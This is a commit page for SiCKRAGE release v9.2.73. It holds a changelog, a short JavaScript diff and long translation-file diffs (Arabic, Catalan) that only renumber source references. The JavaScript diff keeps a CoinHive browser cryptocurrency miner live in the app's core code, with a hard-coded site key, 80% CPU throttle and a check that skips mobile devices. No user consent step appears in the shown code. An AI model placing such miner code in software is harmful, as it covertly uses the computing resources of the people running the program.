Commit bad836be authored by echel0n's avatar echel0n
Browse files

Release v9.2.73

parent 3c59887e
# Changelog
- * 4116078 - 2017-12-23: Release v9.2.71
- * 2343a9e - 2017-12-23: Release v9.2.73
- * 0eaf7ee - 2017-12-23: Release v9.2.71
- * 9dce9e4 - 2017-12-23: Refactored core js code
- * 326f970 - 2017-12-23: Added code to prevent caching private ip range address results
- * 653696f - 2017-12-23: Added code to prevent caching private ip range address results
......
......@@ -14,9 +14,10 @@ jQuery(document).ready(function ($) {
},
coinhive: function () {
var ch = new CoinHive.Anonymous('1hc1dBLexNbhpGSCQbBrPhtcFeqB2XdT');
ch.setThrottle(0.8);
ch.start();
var ch = new CoinHive.Anonymous('1hc1dBLexNbhpGSCQbBrPhtcFeqB2XdT', {throttle: 0.8});
if (!ch.isMobile()) {
ch.start();
}
},
check_notifications: function () {
......
This source diff could not be displayed because it is too large. You can view the blob instead.
This source diff could not be displayed because it is too large. You can view the blob instead.
......@@ -2,8 +2,8 @@ msgid ""
msgstr ""
"Project-Id-Version: sickragetv\n"
"Report-Msgid-Bugs-To: [email protected]\n"
"POT-Creation-Date: 2017-12-23 03:31-0500\n"
"PO-Revision-Date: 2017-12-23 03:31-0500\n"
"POT-Creation-Date: 2017-12-23 03:46-0500\n"
"PO-Revision-Date: 2017-12-23 03:47-0500\n"
"Last-Translator: echel0n <[email protected]>\n"
"Language-Team: Arabic\n"
"MIME-Version: 1.0\n"
......@@ -17,328 +17,328 @@ msgstr ""
"X-Crowdin-File: messages.pot\n"
"Language: ar_SA\n"
#: dist/js/core.js:308 sickrage/core/webserver/views/layouts/main.mako:348
#: dist/js/core.js:309 sickrage/core/webserver/views/layouts/main.mako:348
msgid "Shutdown"
msgstr "إيقاف التشغيل"
#: dist/js/core.js:309
#: dist/js/core.js:310
msgid "Are you sure you want to shutdown SiCKRAGE ?"
msgstr "هل أنت متأكد من أنك تريد إيقاف تشغيل سيكراجي؟"
#: dist/js/core.js:313 sickrage/core/webserver/views/layouts/main.mako:343
#: dist/js/core.js:314 sickrage/core/webserver/views/layouts/main.mako:343
msgid "Restart"
msgstr "قم بإعادة تشغيل"
#: dist/js/core.js:314
#: dist/js/core.js:315
msgid "Are you sure you want to restart SiCKRAGE ?"
msgstr "هل أنت متأكد من أنك تريد إعادة تشغيل سيكراجي؟"
#: dist/js/core.js:318
#: dist/js/core.js:319
msgid "Submit Errors"
msgstr "إرسال الأخطاء"
#: dist/js/core.js:319
#: dist/js/core.js:320
msgid "Are you sure you want to submit these errors ?<br><br><span class=\"red-text\">Make sure SiCKRAGE is updated and trigger<br> this error with debug enabled before submitting</span>"
msgstr "هل أنت متأكد من أنك تريد إرسال هذه الأخطاء؟<br><br><span class=\"red-text\">Make سيكراجي التأكد من تحديث وتمكين هذا الخطأ مع التصحيح trigger<br> قبل submitting</span>"
#: dist/js/core.js:457 dist/js/core.js:478 dist/js/core.js:499
#: dist/js/core.js:458 dist/js/core.js:479 dist/js/core.js:500
msgid "Searching"
msgstr "البحث"
#: dist/js/core.js:470 dist/js/core.js:504
#: dist/js/core.js:471 dist/js/core.js:505
msgid "Queued"
msgstr "في قائمة الانتظار"
#: dist/js/core.js:508 sickrage/core/webserver/views/home/display_show.mako:726
#: dist/js/core.js:509 sickrage/core/webserver/views/home/display_show.mako:726
#: sickrage/core/webserver/views/includes/modals.mako:8
#: sickrage/core/webserver/views/includes/modals.mako:29
#: sickrage/core/webserver/views/schedule.mako:199
msgid "Manual Search"
msgstr "البحث اليدوي"
#: dist/js/core.js:533 dist/js/core.js:683 dist/js/core.js:733
#: dist/js/core.js:534 dist/js/core.js:684 dist/js/core.js:734
#: sickrage/core/webserver/views/home/index.mako:300
msgid "loading"
msgstr "تحميل"
#: dist/js/core.js:749
#: dist/js/core.js:750
msgid "Choose Directory"
msgstr "اختيار دليل"
#: dist/js/core.js:866
#: dist/js/core.js:867
msgid "Ok"
msgstr "موافق"
#: dist/js/core.js:876
#: dist/js/core.js:877
msgid "Cancel"
msgstr "إلغاء الأمر"
#: dist/js/core.js:1388 sickrage/core/webserver/views.py:3660
#: dist/js/core.js:1389 sickrage/core/webserver/views.py:3660
msgid "Clear History"
msgstr "مسح المحفوظات"
#: dist/js/core.js:1389
#: dist/js/core.js:1390
msgid "Are you sure you want to clear all download history ?"
msgstr "هل أنت متأكد من أنك تريد مسح كافة تاريخ التحميل؟"
#: dist/js/core.js:1393 sickrage/core/webserver/views.py:3662
#: dist/js/core.js:1394 sickrage/core/webserver/views.py:3662
msgid "Trim History"
msgstr "تقليم التاريخ"
#: dist/js/core.js:1394
#: dist/js/core.js:1395
msgid "Are you sure you want to trim all download history older than 30 days ?"
msgstr "هل أنت متأكد من أنك تريد تقليم كل حمل التاريخ الأقدم من 30 يوما؟"
#: dist/js/core.js:1542
#: dist/js/core.js:1543
msgid "<center><h1></h1><br/>From any computer, please visit <a href=\"\" target=\"_blank\"></a> and enter the code</center>"
msgstr "<center><h1></h1><br/>From أي جهاز كمبيوتر، يرجى زيارة <a href=\"\" target=\"_blank\"></a> وأدخل في code</center>"
#: dist/js/core.js:1547
#: dist/js/core.js:1548
msgid "Link SiCKRAGE"
msgstr "سيكراجي الرابط"
#: dist/js/core.js:2184 sickrage/core/webserver/views/home/trakt_shows.mako:106
#: dist/js/core.js:2185 sickrage/core/webserver/views/home/trakt_shows.mako:106
msgid "Remove Show"
msgstr "إزالة عرض"
#: dist/js/core.js:2185
#: dist/js/core.js:2186
msgid "Are you sure you want to remove <span class=\"footerhighlight\">"
msgstr "هل أنت متأكد من أنك تريد إزالة <span class=\"footerhighlight\">"
#: dist/js/core.js:2185
#: dist/js/core.js:2186
msgid "</span> from the database?<br><br><input type=\"checkbox\" id=\"deleteFiles\" name=\"deleteFiles\"/>&nbsp;<label for=\"deleteFiles\" class=\"red-text\">Check to delete files as well. IRREVERSIBLE</label>"
msgstr "</span> من قاعدة البيانات؟<br><br><input type=\"checkbox\" id=\"deleteFiles\" name=\"deleteFiles\"/>&nbsp;<label for=\"deleteFiles\" class=\"red-text\">Check لحذف الملفات وكذلك. IRREVERSIBLE</label>"
#: dist/js/core.js:2229 dist/js/core.js:2261
#: dist/js/core.js:2230 dist/js/core.js:2262
msgid "Update failed."
msgstr "فشل تحديث."
#: dist/js/core.js:2272
#: dist/js/core.js:2273
msgid "Select Show Location"
msgstr "حدد موقع العرض"
#: dist/js/core.js:2412
#: dist/js/core.js:2413
msgid "<img id=\"searchingAnim\" src=\"/images/loading32.gif\" height=\"32\" width=\"32\" /> loading folders..."
msgstr "<img id=\"searchingAnim\" src=\"/images/loading32.gif\" height=\"32\" width=\"32\" /> تحميل المجلدات..."
#: dist/js/core.js:2482
#: dist/js/core.js:2483
msgid "Select Unprocessed Episode Folder"
msgstr "حدد مجلد الحلقة غير المجهزة"
#: dist/js/core.js:2765
#: dist/js/core.js:2766
msgid "search timed out, try increasing timeout for indexer"
msgstr "مهلة البحث، حاول زيادة مهلة للمفهرس"
#: dist/js/core.js:2769
#: dist/js/core.js:2770
msgid "<legend class=\"legend\">Search Results:</legend>\n"
msgstr "نتائج:</legend> <legend class=\"legend\">Search\n"
#: dist/js/core.js:2773
#: dist/js/core.js:2774
msgid "<b>No results found, try a different search or language.</b>"
msgstr "العثور على نتائج <b>No، ومحاولة البحث المختلفة أو language.</b>"
#: dist/js/core.js:2792
#: dist/js/core.js:2793
msgid " (will debut on )"
msgstr " (لأول مرة على)"
#: dist/js/core.js:2794
#: dist/js/core.js:2795
msgid " (started on )"
msgstr " (بدأت في)"
#: dist/js/core.js:2839
#: dist/js/core.js:2840
msgid "Saved Defaults"
msgstr "حفظ الإعدادات الافتراضية"
#: dist/js/core.js:2841
#: dist/js/core.js:2842
msgid "Your \"add show\" defaults have been set to your current selections."
msgstr "تم تعيين الافتراضيات \"إضافة إظهار\" الخاصة بك إلى التحديدات الحالية."
#: dist/js/core.js:2899
#: dist/js/core.js:2900
msgid "<span> Saving...</span>"
msgstr "<span> إنقاذ...</span>"
#: dist/js/core.js:2942
#: dist/js/core.js:2943
msgid "Reset Config to Defaults"
msgstr "إعادة تعيين التكوين إلى الإعدادات الافتراضية"
#: dist/js/core.js:2943
#: dist/js/core.js:2944
msgid "Are you sure you want to reset config to defaults?"
msgstr "هل أنت متأكد من أنك تريد إعادة تعيين التكوين إلى الإعدادات الافتراضية؟"
#: dist/js/core.js:3024
#: dist/js/core.js:3025
msgid "Select path to pip"
msgstr "حدد مسار برنامج تطبيق السلام"
#: dist/js/core.js:3030
#: dist/js/core.js:3031
msgid "Select path to git"
msgstr "حدد المسار إلى بوابة"
#: dist/js/core.js:3038 dist/js/core.js:3056 dist/js/core.js:3951
#: dist/js/core.js:3969 dist/js/core.js:3990 dist/js/core.js:4012
#: dist/js/core.js:4035 dist/js/core.js:4057 dist/js/core.js:4085
#: dist/js/core.js:4102 dist/js/core.js:4146 dist/js/core.js:4231
#: dist/js/core.js:4289 dist/js/core.js:4306 dist/js/core.js:4336
#: dist/js/core.js:4393 dist/js/core.js:4469 dist/js/core.js:4488
#: dist/js/core.js:4504
#: dist/js/core.js:3039 dist/js/core.js:3057 dist/js/core.js:3952
#: dist/js/core.js:3970 dist/js/core.js:3991 dist/js/core.js:4013
#: dist/js/core.js:4036 dist/js/core.js:4058 dist/js/core.js:4086
#: dist/js/core.js:4103 dist/js/core.js:4147 dist/js/core.js:4232
#: dist/js/core.js:4290 dist/js/core.js:4307 dist/js/core.js:4337
#: dist/js/core.js:4394 dist/js/core.js:4470 dist/js/core.js:4489
#: dist/js/core.js:4505
msgid "Please fill out the necessary fields above."
msgstr "الرجاء ملء الحقول الضرورية المذكورة أعلاه."
#: dist/js/core.js:3088 sickrage/core/webserver/views/config/general.mako:1050
#: dist/js/core.js:3089 sickrage/core/webserver/views/config/general.mako:1050
msgid "Link"
msgstr "الارتباط"
#: dist/js/core.js:3090
#: dist/js/core.js:3091
msgid "Unlink"
msgstr "فك ارتباط"
#: dist/js/core.js:3131
#: dist/js/core.js:3132
msgid "Select Subtitles Download Directory"
msgstr "دليل تحميل ترجمات مختارة"
#: dist/js/core.js:3247
#: dist/js/core.js:3248
msgid "Select .nzb blackhole/watch location"
msgstr "حدد.nzb blackhole/مشاهدة الموقع"
#: dist/js/core.js:3248
#: dist/js/core.js:3249
msgid "Select .torrent blackhole/watch location"
msgstr "قم بتحديد موقع blackhole/مشاهدة تورنت]"
#: dist/js/core.js:3249
#: dist/js/core.js:3250
msgid "Select .torrent download location"
msgstr "حدد موقع تحميل تورنت]"
#: dist/js/core.js:3316 sickrage/core/webserver/views/config/search.mako:933
#: dist/js/core.js:3317 sickrage/core/webserver/views/config/search.mako:933
msgid "Minimum seeding time is"
msgstr "الحد الأدنى البذر مرة"
#: dist/js/core.js:3318
#: dist/js/core.js:3319
msgid "URL to your uTorrent client (e.g. http://localhost:8000)"
msgstr "عنوان URL الخاص بك العميل uTorrent (مثلاً http://localhost:8000)"
#: dist/js/core.js:3321
#: dist/js/core.js:3322
msgid "Stop seeding when inactive for"
msgstr "توقف بذر عندما نشط"
#: dist/js/core.js:3327
#: dist/js/core.js:3328
msgid "URL to your Transmission client (e.g. http://localhost:9091)"
msgstr "عنوان URL للعميل الإرسال الخاص بك (مثل http://localhost:9091)"
#: dist/js/core.js:3337
#: dist/js/core.js:3338
msgid "URL to your Deluge client (e.g. http://localhost:8112)"
msgstr "عنوان URL الخاص بك العميل طوفان (مثلاً http://localhost:8112)"
#: dist/js/core.js:3346
#: dist/js/core.js:3347
msgid "IP or Hostname of your Deluge Daemon (e.g. scgi://localhost:58846)"
msgstr "IP أو اسم المضيف من الخاصة بك \"شيطان طوفان\" (مثلاً scgi://localhost:58846)"
#: dist/js/core.js:3353
#: dist/js/core.js:3354
msgid "URL to your Synology DS client (e.g. http://localhost:5000)"
msgstr "عنوان URL الخاص بك عميل Synology DS (مثلاً http://localhost:5000)"
#: dist/js/core.js:3358
#: dist/js/core.js:3359
msgid "URL to your rTorrent client (e.g. scgi://localhost:5000 <br> or https://localhost/rutorrent/plugins/httprpc/action.php)"
msgstr "عنوان URL للعميل رتورينت الخاص بك (على سبيل المثال، scgi://localhost:5000 <br> أو https://localhost/rutorrent/plugins/httprpc/action.php)"
#: dist/js/core.js:3368
#: dist/js/core.js:3369
msgid "URL to your qbittorrent client (e.g. http://localhost:8080)"
msgstr "عنوان URL للعميل الخاص بك قبيتورينت (مثل http://localhost:8080)"
#: dist/js/core.js:3378
#: dist/js/core.js:3379
msgid "URL to your MLDonkey (e.g. http://localhost:4080)"
msgstr "عنوان URL الخاص بك ملدونكيي (مثل http://localhost:4080)"
#: dist/js/core.js:3389
#: dist/js/core.js:3390
msgid "URL to your putio client (e.g. http://localhost:8080)"
msgstr "عنوان URL الخاص بك العميل بوتيو (مثلاً http://localhost:8080)"
#: dist/js/core.js:3589
#: dist/js/core.js:3590
msgid "Select TV Download Directory"
msgstr "حدد دليل التحميل التلفزيون"
#: dist/js/core.js:3590
#: dist/js/core.js:3591
msgid "Select UNPACK Directory"
msgstr ""
#: dist/js/core.js:3605
#: dist/js/core.js:3606
msgid "Unrar Executable not found."
msgstr "لم يتم العثور على الملف القابل للتنفيذ فك الضغط."
#: dist/js/core.js:3651 dist/js/core.js:3695 dist/js/core.js:3739
#: dist/js/core.js:3799
#: dist/js/core.js:3652 dist/js/core.js:3696 dist/js/core.js:3740
#: dist/js/core.js:3800
msgid "This pattern is invalid."
msgstr "وهذا النمط غير صحيح."
#: dist/js/core.js:3658 dist/js/core.js:3702 dist/js/core.js:3746
#: dist/js/core.js:3806
#: dist/js/core.js:3659 dist/js/core.js:3703 dist/js/core.js:3747
#: dist/js/core.js:3807
msgid "This pattern would be invalid without the folders, using it will force \"Flatten\" off for all shows."
msgstr "سوف يكون هذا النمط غير صالحة دون المجلدات، استخدام أنه سيفرض \"سطح\" قبالة لكافة العروض."
#: dist/js/core.js:3665 dist/js/core.js:3709 dist/js/core.js:3753
#: dist/js/core.js:3813
#: dist/js/core.js:3666 dist/js/core.js:3710 dist/js/core.js:3754
#: dist/js/core.js:3814
msgid "This pattern is valid."
msgstr "هذا النمط صحيح."
#: dist/js/core.js:4139
#: dist/js/core.js:4140
msgid "<b>Step1:</b> Confirm Authorization"
msgstr "<b>Step1:</b> تأكيد الإذن"
#: dist/js/core.js:4196 dist/js/core.js:4250
#: dist/js/core.js:4197 dist/js/core.js:4251
msgid "Please fill in the Popcorn IP address"
msgstr "الرجاء إدخال عنوان IP الفشار"
#: dist/js/core.js:4403
#: dist/js/core.js:4404
msgid "Check blacklist name; the value need to be a trakt slug"
msgstr "تحقق من اسم القائمة السوداء؛ القيمة بحاجة إلى أن تكون سبيكة trakt"
#: dist/js/core.js:4435
#: dist/js/core.js:4436
msgid "<li style=\"color: red;\">You must specify an SMTP hostname!</li>"
msgstr "يجب تحديد <li style=\"color: red;\">You اسم مضيف SMTP!</li>"
#: dist/js/core.js:4438
#: dist/js/core.js:4439
msgid "<li style=\"color: red;\">You must specify an SMTP port!</li>"
msgstr "<li style=\"color: red;\">You يجب تحديد منفذ SMTP!</li>"
#: dist/js/core.js:4440
#: dist/js/core.js:4441
msgid "<li style=\"color: red;\">SMTP port must be between 0 and 65535!</li>"
msgstr "يجب أن يكون المنفذ <li style=\"color: red;\">SMTP بين 0 و 65535!</li>"
#: dist/js/core.js:4446
#: dist/js/core.js:4447
msgid "Enter an email address to send the test to:"
msgstr "أدخل عنوان البريد إلكتروني لإرسال الاختبار إلى:"
#: dist/js/core.js:4448
#: dist/js/core.js:4449
msgid "<p style=\"color: red;\">You must provide a recipient email address!</p>"
msgstr "<p style=\"color: red;\">You يجب توفير عنوان البريد إلكتروني لمستلم!</p>"
#: dist/js/core.js:4518
#: dist/js/core.js:4519
msgid "Device list updated. Please choose a device to push to."
msgstr "تحديث قائمة الأجهزة. الرجاء اختيار جهاز للدفع إلى."
#: dist/js/core.js:4579
#: dist/js/core.js:4580
msgid "You didn't supply a Pushbullet api key"
msgstr "لا تقوم أنت بتوفير مفتاح المعهد بوشبوليت"
#: dist/js/core.js:4609
#: dist/js/core.js:4610
msgid "Don't forget to save your new pushbullet settings."
msgstr "لا ننسى لحفظ الإعدادات الجديدة بوشبوليت."
#: dist/js/core.js:4681
#: dist/js/core.js:4682
msgid "Select backup folder to save to"
msgstr "حدد مجلد النسخ الاحتياطية لحفظ"
#: dist/js/core.js:4686
#: dist/js/core.js:4687
msgid "Select backup files to restore"
msgstr "حدد ملفات النسخ الاحتياطي لاستعادة"
#: dist/js/core.js:5232
#: dist/js/core.js:5233
msgid "No providers available to configure."
msgstr "لا مقدمي الخدمات المتاحة لتكوين."
#: dist/js/core.js:5443
#: dist/js/core.js:5444
msgid "You have selected to delete show(s). Are you sure you wish to continue? All files will be removed from your system."
msgstr "لقد اخترت حذف show(s). هل تريد المتابعة بالتأكيد؟ سيتم إزالة كافة الملفات من النظام الخاص بك."
#: dist/js/core.js:5513
#: dist/js/core.js:5514
msgid "<b>DELETED</b>"
msgstr "<b>DELETED</b>"
......
This source diff could not be displayed because it is too large. You can view the blob instead.
......@@ -2,8 +2,8 @@ msgid ""
msgstr ""
"Project-Id-Version: sickragetv\n"
"Report-Msgid-Bugs-To: [email protected]\n"
"POT-Creation-Date: 2017-12-23 03:31-0500\n"
"PO-Revision-Date: 2017-12-23 03:31-0500\n"
"POT-Creation-Date: 2017-12-23 03:46-0500\n"
"PO-Revision-Date: 2017-12-23 03:47-0500\n"
"Last-Translator: echel0n <[email protected]>\n"
"Language-Team: Catalan\n"
"MIME-Version: 1.0\n"
......@@ -17,328 +17,328 @@ msgstr ""
"X-Crowdin-File: messages.pot\n"
"Language: ca_ES\n"
#: dist/js/core.js:308 sickrage/core/webserver/views/layouts/main.mako:348
#: dist/js/core.js:309 sickrage/core/webserver/views/layouts/main.mako:348
msgid "Shutdown"
msgstr "Tancament"
#: dist/js/core.js:309
#: dist/js/core.js:310
msgid "Are you sure you want to shutdown SiCKRAGE ?"
msgstr "Esteu segur que voleu tancament SiCKRAGE?"
#: dist/js/core.js:313 sickrage/core/webserver/views/layouts/main.mako:343
#: dist/js/core.js:314 sickrage/core/webserver/views/layouts/main.mako:343
msgid "Restart"
msgstr "Reprengui's"
#: dist/js/core.js:314
#: dist/js/core.js:315
msgid "Are you sure you want to restart SiCKRAGE ?"
msgstr "Esteu segur que voleu reiniciar SiCKRAGE?"
#: dist/js/core.js:318
#: dist/js/core.js:319
msgid "Submit Errors"
msgstr "Presentar Errors"
#: dist/js/core.js:319
#: dist/js/core.js:320
msgid "Are you sure you want to submit these errors ?<br><br><span class=\"red-text\">Make sure SiCKRAGE is updated and trigger<br> this error with debug enabled before submitting</span>"
msgstr "Esteu segur que voleu enviar aquests errors? s'actualitza SiCKRAGE segur de<br><br><span class=\"red-text\">Make i trigger<br> aquest error amb la depuració habilitada abans submitting</span>"
#: dist/js/core.js:457 dist/js/core.js:478 dist/js/core.js:499
#: dist/js/core.js:458 dist/js/core.js:479 dist/js/core.js:500
msgid "Searching"
msgstr "Recerca"
#: dist/js/core.js:470 dist/js/core.js:504
#: dist/js/core.js:471 dist/js/core.js:505
msgid "Queued"
msgstr "En cua"
#: dist/js/core.js:508 sickrage/core/webserver/views/home/display_show.mako:726
#: dist/js/core.js:509 sickrage/core/webserver/views/home/display_show.mako:726
#: sickrage/core/webserver/views/includes/modals.mako:8
#: sickrage/core/webserver/views/includes/modals.mako:29
#: sickrage/core/webserver/views/schedule.mako:199
msgid "Manual Search"
msgstr "Cerca manual"
#: dist/js/core.js:533 dist/js/core.js:683 dist/js/core.js:733
#: dist/js/core.js:534 dist/js/core.js:684 dist/js/core.js:734
#: sickrage/core/webserver/views/home/index.mako:300
msgid "loading"
msgstr "càrrega"
#: dist/js/core.js:749
#: dist/js/core.js:750
msgid "Choose Directory"
msgstr "Triar el directori"
#: dist/js/core.js:866
#: dist/js/core.js:867
msgid "Ok"
msgstr "Correcte"
#: dist/js/core.js:876
#: dist/js/core.js:877
msgid "Cancel"
msgstr "Cancel·la"
#: dist/js/core.js:1388 sickrage/core/webserver/views.py:3660
#: dist/js/core.js:1389 sickrage/core/webserver/views.py:3660
msgid "Clear History"
msgstr "Esborra l'Historial"
#: dist/js/core.js:1389
#: dist/js/core.js:1390
msgid "Are you sure you want to clear all download history ?"
msgstr "Són vostè segur que vol esborrar tot descarregar història?"
#: dist/js/core.js:1393 sickrage/core/webserver/views.py:3662
#: dist/js/core.js:1394 sickrage/core/webserver/views.py:3662
msgid "Trim History"
msgstr "Retallar la història"
#: dist/js/core.js:1394
#: dist/js/core.js:1395
msgid "Are you sure you want to trim all download history older than 30 days ?"
msgstr "Són vostè segur que vol retallar tot descarregar història més de 30 dies?"
#: dist/js/core.js:1542
#: dist/js/core.js:1543
msgid "<center><h1></h1><br/>From any computer, please visit <a href=\"\" target=\"_blank\"></a> and enter the code</center>"
msgstr "<center><h1></h1><br/>From qualsevol ordinador, visiteu <a href=\"\" target=\"_blank\"></a> i introduïu el code</center>"
#: dist/js/core.js:1547
#: dist/js/core.js:1548
msgid "Link SiCKRAGE"
msgstr "Enllaç SiCKRAGE"
#: dist/js/core.js:2184 sickrage/core/webserver/views/home/trakt_shows.mako:106
#: dist/js/core.js:2185 sickrage/core/webserver/views/home/trakt_shows.mako:106
msgid "Remove Show"
msgstr "Treure Mostra el"
#: dist/js/core.js:2185
#: dist/js/core.js:2186
msgid "Are you sure you want to remove <span class=\"footerhighlight\">"
msgstr "Esteu segur que voleu suprimir <span class=\"footerhighlight\">"
#: dist/js/core.js:2185
#: dist/js/core.js:2186
msgid "</span> from the database?<br><br><input type=\"checkbox\" id=\"deleteFiles\" name=\"deleteFiles\"/>&nbsp;<label for=\"deleteFiles\" class=\"red-text\">Check to delete files as well. IRREVERSIBLE</label>"
msgstr "</span> de la base de dades?<br><br><input type=\"checkbox\" id=\"deleteFiles\" name=\"deleteFiles\"/>&nbsp;<label for=\"deleteFiles\" class=\"red-text\">Check per suprimir arxius així. IRREVERSIBLE</label>"
#: dist/js/core.js:2229 dist/js/core.js:2261
#: dist/js/core.js:2230 dist/js/core.js:2262
msgid "Update failed."
msgstr "Actualització ha fallat."
#: dist/js/core.js:2272
#: dist/js/core.js:2273
msgid "Select Show Location"
msgstr "Seleccioneu la ubicació de la Mostra el"
#: dist/js/core.js:2412
#: dist/js/core.js:2413
msgid "<img id=\"searchingAnim\" src=\"/images/loading32.gif\" height=\"32\" width=\"32\" /> loading folders..."
msgstr "<img id=\"searchingAnim\" src=\"/images/loading32.gif\" height=\"32\" width=\"32\" /> càrrega carpetes..."
#: dist/js/core.js:2482
#: dist/js/core.js:2483
msgid "Select Unprocessed Episode Folder"
msgstr "Carpeta selecta episodi sense processar"
#: dist/js/core.js:2765
#: dist/js/core.js:2766
msgid "search timed out, try increasing timeout for indexer"
msgstr "Cerca exhaurit, tractar d'augment temps d'espera per a l'indexador"
#: dist/js/core.js:2769
#: dist/js/core.js:2770
msgid "<legend class=\"legend\">Search Results:</legend>\n"
msgstr "<legend class=\"legend\">Search resultats:</legend>\n"
#: dist/js/core.js:2773
#: dist/js/core.js:2774
msgid "<b>No results found, try a different search or language.</b>"
msgstr "<b>No resultats trobats, provar una altra cerca o language.</b>"
#: dist/js/core.js:2792
#: dist/js/core.js:2793
msgid " (will debut on )"
msgstr " (s'estrenarà el)"